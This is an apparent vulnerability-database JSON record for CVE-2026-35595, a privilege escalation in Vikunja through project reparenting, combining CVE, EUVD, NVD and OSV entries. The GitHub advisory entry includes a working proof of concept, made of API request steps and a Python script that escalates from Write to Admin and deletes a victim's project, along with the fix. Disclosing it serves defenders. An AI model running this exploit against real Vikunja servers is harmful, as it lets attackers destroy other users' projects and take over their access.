{"id":"GHSA-2vq4-854f-5c72","revision":null,"records":[{"revision":"b7349d3584874028837e5e191e1f7dbb","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-35595","aliases":[],"title":"Vikunja Affected by Privilege Escalation via Project Reparenting","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain. When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":"2026-04-10T15:58:32.658+00:00","modifiedAt":"2026-04-10T18:16:18.23+00:00","affected":[{"ecosystem":"Vendor product","name":"vikunja","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"go-vikunja\",\n                    \"product\": \"vikunja\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.3.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"severity":"HIGH"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2vq4-854f-5c72","https://github.com/go-vikunja/vikunja/pull/2583","https://github.com/go-vikunja/vikunja/commit/c03d682f48aff890eeb3c8b41d38226069722827","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-35595","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-35595","identifiers":["CVE-2026-35595"]},"retained":false,"historicalAffected":[]},{"revision":"18c31824efd64b35aa4034740f805810","observedAt":"2026-10-28T04:56:15.434+00:00","statement":{"source":"euvd","id":"EUVD-2026-21418","aliases":["CVE-2026-35595","GHSA-2vq4-854f-5c72"],"title":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Viku…","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain. When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"severity":null}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2vq4-854f-5c72","https://github.com/go-vikunja/vikunja/pull/2583","https://github.com/go-vikunja/vikunja/commit/c03d682f48aff890eeb3c8b41d38226069722827","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-21418","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 10, 2026, 3:58:32 PM","dateUpdated":"Apr 10, 2026, 6:16:18 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-21418","identifiers":["EUVD-2026-21418","CVE-2026-35595","GHSA-2vq4-854f-5c72"]},"retained":false,"historicalAffected":[]},{"revision":"22dd3ce28c27414b8a36ff3fecbc7204","observedAt":"2026-10-27T09:03:12.132+00:00","statement":{"source":"nvd","id":"CVE-2026-35595","aliases":[],"title":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Viku…","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain. When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":"2026-04-10T17:17:02.91+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"severity":"HIGH"}],"references":["https://github.com/go-vikunja/vikunja/commit/c03d682f48aff890eeb3c8b41d38226069722827","https://github.com/go-vikunja/vikunja/pull/2583","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0","https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2vq4-854f-5c72"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35595","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-269"],"productCriteria":["cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-04-10T17:17:02.910","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-35595","identifiers":["CVE-2026-35595"]},"retained":false,"historicalAffected":[]},{"revision":"614832d011b74f94a0da8bf61838a2e7","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-2vq4-854f-5c72","aliases":["CVE-2026-35595","GO-2026-4952"],"title":"Vikunja vulnerable to Privilege Escalation via Project Reparenting","description":"## Summary\n\nA user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.\n\n## Details\n\nThe `CanUpdate` check at `pkg/models/project_permissions.go:139-148` only requires `CanWrite` on the new parent project when changing `parent_project_id`. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.\n\nWhen a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.\n\n```go\nif p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {\n    newProject := &Project{ID: p.ParentProjectID}\n    can, err := newProject.CanWrite(s, a)  // Only checks Write, not Admin\n    if err != nil {\n        return false, err\n    }\n    if !can {\n        return false, ErrGenericForbidden{}\n    }\n}\n```\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```\n1. victim creates \"Parent Project\" (id=3)\n2. victim creates \"Secret Child\" (id=4) under Parent Project\n3. victim shares Parent Project with attacker at Write level (permission=1)\n   -> attacker inherits Write on Secret Child (no direct share)\n4. attacker creates own \"Attacker Root\" project (id=5)\n5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden\n6. attacker sends: POST /api/v1/projects/4 {\"title\":\"Secret Child\",\"parent_project_id\":5}\n   -> 200 OK (reparenting succeeds, only requires Write)\n7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK\n   -> Project deleted. victim gets 404.\n```\n\n```python                                                                                                                                                                                                                                                                                                        \nimport requests                                                                                                                                                                                                                                                                                                    \n                                                                                                                                                                                                                                                                                                                \nTARGET = \"http://localhost:3456\"                                                                                                                                                                                                                                                                                 \nAPI = f\"{TARGET}/api/v1\"  \n                                        \ndef login(u, p):                     \n    return requests.post(f\"{API}/login\", json={\"username\": u, \"password\": p}).json()[\"token\"]\n                                        \ndef h(token):  \n    return {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n                                                                                                                                                                                                                                                                                                                    \nvictim_token = login(\"victim\", \"Victim123!\")\nattacker_token = login(\"attacker\", \"Attacker123!\")                                                                                                                                                                                                                                                                 \n                                                                                                                                                                                                                                                                                                                \n# victim creates parent -> child project hierarchy                                                                                                                                                                                                                                                               \nparent = requests.put(f\"{API}/projects\", headers=h(victim_token),\n                    json={\"title\": \"Parent Project\"}).json()\nchild = requests.put(f\"{API}/projects\", headers=h(victim_token),\n                    json={\"title\": \"Secret Child\", \"parent_project_id\": parent[\"id\"]}).json()\n\n# victim shares parent with attacker at Write (attacker inherits Write on child)\nrequests.put(f\"{API}/projects/{parent['id']}/users\", headers=h(victim_token),\n            json={\"username\": \"attacker\", \"permission\": 1})\n\n# attacker creates own root project\nown = requests.put(f\"{API}/projects\", headers=h(attacker_token),\n                    json={\"title\": \"Attacker Root\"}).json()\n\n# before: attacker cannot delete child\nr = requests.delete(f\"{API}/projects/{child['id']}\", headers=h(attacker_token))\nprint(f\"DELETE before reparent: {r.status_code}\")  # 403\n\n# exploit: reparent child under attacker's project\nr = requests.post(f\"{API}/projects/{child['id']}\", headers=h(attacker_token),\n                json={\"title\": \"Secret Child\", \"parent_project_id\": own[\"id\"]})\nprint(f\"Reparent: {r.status_code}\")  # 200\n\n# after: attacker can now delete child\nr = requests.delete(f\"{API}/projects/{child['id']}\", headers=h(attacker_token))\nprint(f\"DELETE after reparent: {r.status_code}\")  # 200 - escalated to Admin\n\n# victim lost access\nr = requests.get(f\"{API}/projects/{child['id']}\", headers=h(victim_token))\nprint(f\"Victim access: {r.status_code}\")  # 404 - project gone\n```\n\nOutput:\n```\nDELETE before reparent: 403\nReparent: 200\nDELETE after reparent: 200\nVictim access: 404\n```\n\nThe attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.\n\n## Impact\n\nAny user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.\n\n## Recommended Fix\n\nRequire Admin permission instead of Write when changing `parent_project_id`:\n\n```go\nif p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {\n    newProject := &Project{ID: p.ParentProjectID}\n    can, err := newProject.IsAdmin(s, a)\n    if err != nil {\n        return false, err\n    }\n    if !can {\n        return false, ErrGenericForbidden{}\n    }\n    canAdmin, err := p.IsAdmin(s, a)\n    if err != nil {\n        return false, err\n    }\n    if !canAdmin {\n        return false, ErrGenericForbidden{}\n    }\n}\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*","state":0,"publishedAt":"2026-04-10T15:33:50+00:00","modifiedAt":"2026-06-08T20:08:25+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.3.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2vq4-854f-5c72","https://nvd.nist.gov/vuln/detail/CVE-2026-35595","https://github.com/go-vikunja/vikunja/pull/2583","https://github.com/go-vikunja/vikunja/commit/c03d682f48aff890eeb3c8b41d38226069722827","https://github.com/go-vikunja/vikunja","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://github.com/advisories/GHSA-2vq4-854f-5c72","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2vq4-854f-5c72","identifiers":["GHSA-2vq4-854f-5c72","CVE-2026-35595","GO-2026-4952"]},"retained":false,"historicalAffected":[]},{"revision":"01e1b305e21249dd85cefb6b0e48bb2d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-4952","aliases":["CVE-2026-35595","GHSA-2vq4-854f-5c72"],"title":"Vikunja vulnerable to Privilege Escalation via Project Reparenting in code.vikunja.io/api","description":"Vikunja vulnerable to Privilege Escalation via Project Reparenting in code.vikunja.io/api.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: code.vikunja.io/api before v2.3.0.","state":0,"publishedAt":"2026-05-20T19:07:16+00:00","modifiedAt":"2026-05-20T19:30:11.5355993+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2vq4-854f-5c72","https://nvd.nist.gov/vuln/detail/CVE-2026-35595","https://github.com/go-vikunja/vikunja/commit/c03d682f48aff890eeb3c8b41d38226069722827","https://github.com/go-vikunja/vikunja/pull/2583","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-4952","license":"OSV · upstream source license applies","key":"osv:GO-2026-4952","identifiers":["GO-2026-4952","CVE-2026-35595","GHSA-2vq4-854f-5c72"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-30T01:48:55.4491357+00:00","complete":true,"records":1764,"lastAttemptAt":"2026-10-30T01:48:55.4491357+00:00","lastSuccessAt":"2026-10-30T01:48:55.6546169+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.6546176+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7e2c4e7288f2c464ad8c61f3bb6017374714faedcc781283ac06a706ee1a820b-8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85","complete":true,"records":416807,"lastAttemptAt":"2026-10-30T01:48:54.7743429+00:00","lastSuccessAt":"2026-10-30T00:54:38.6858592+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:54.7743429+00:00","snapshotPublishedAt":"2026-10-30T01:29:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-824f5092797940c08129032fcab8f0dd","complete":false,"records":13504,"lastAttemptAt":"2026-10-30T02:01:05.0861472+00:00","lastSuccessAt":"2026-10-30T02:01:05.08+00:00","error":"9 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-10-30T02:01:05.08+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13547,"expectedIdentifiers":13587,"failedIdentifiers":9},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-30T01:48:55.4491357+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-30T01:48:55.4491357+00:00","lastSuccessAt":"2026-10-30T01:48:55.6554576+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.6554578+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c39f89b50d5243318487ad216daf7ffb","complete":true,"records":13527,"lastAttemptAt":"2026-10-30T01:48:56.2261206+00:00","lastSuccessAt":"2026-10-29T22:50:37.74+00:00","error":null,"lastVerifiedAt":"2026-10-29T22:50:37.74+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13587,"expectedIdentifiers":13587,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-9016081e9e88f5929902343d85df87c5c4a1486b10ab07bc6c4f53f98f358871","complete":true,"records":9806,"lastAttemptAt":"2026-10-30T01:48:55.2317852+00:00","lastSuccessAt":"2026-10-29T17:17:25.9359141+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.2317852+00:00","snapshotPublishedAt":"2026-10-29T16:48:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-30T01:48:54.9356382+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:54.9356382+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-5221f6b645588be0464ab0e16e8adfe42d1ccd8f841048d2bd4d0c1cf79fd6b1","complete":true,"records":3014,"lastAttemptAt":"2026-10-30T01:48:55.4168216+00:00","lastSuccessAt":"2026-10-30T00:54:54.6624163+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.4168216+00:00","snapshotPublishedAt":"2026-10-30T00:48:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ec5b13e78c39945726a720832da7660d2774969f16e2a34f99460c135811abd5","complete":true,"records":230948,"lastAttemptAt":"2026-10-30T01:48:55.0481567+00:00","lastSuccessAt":"2026-10-29T22:50:35.0693267+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.0481567+00:00","snapshotPublishedAt":"2026-10-29T22:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}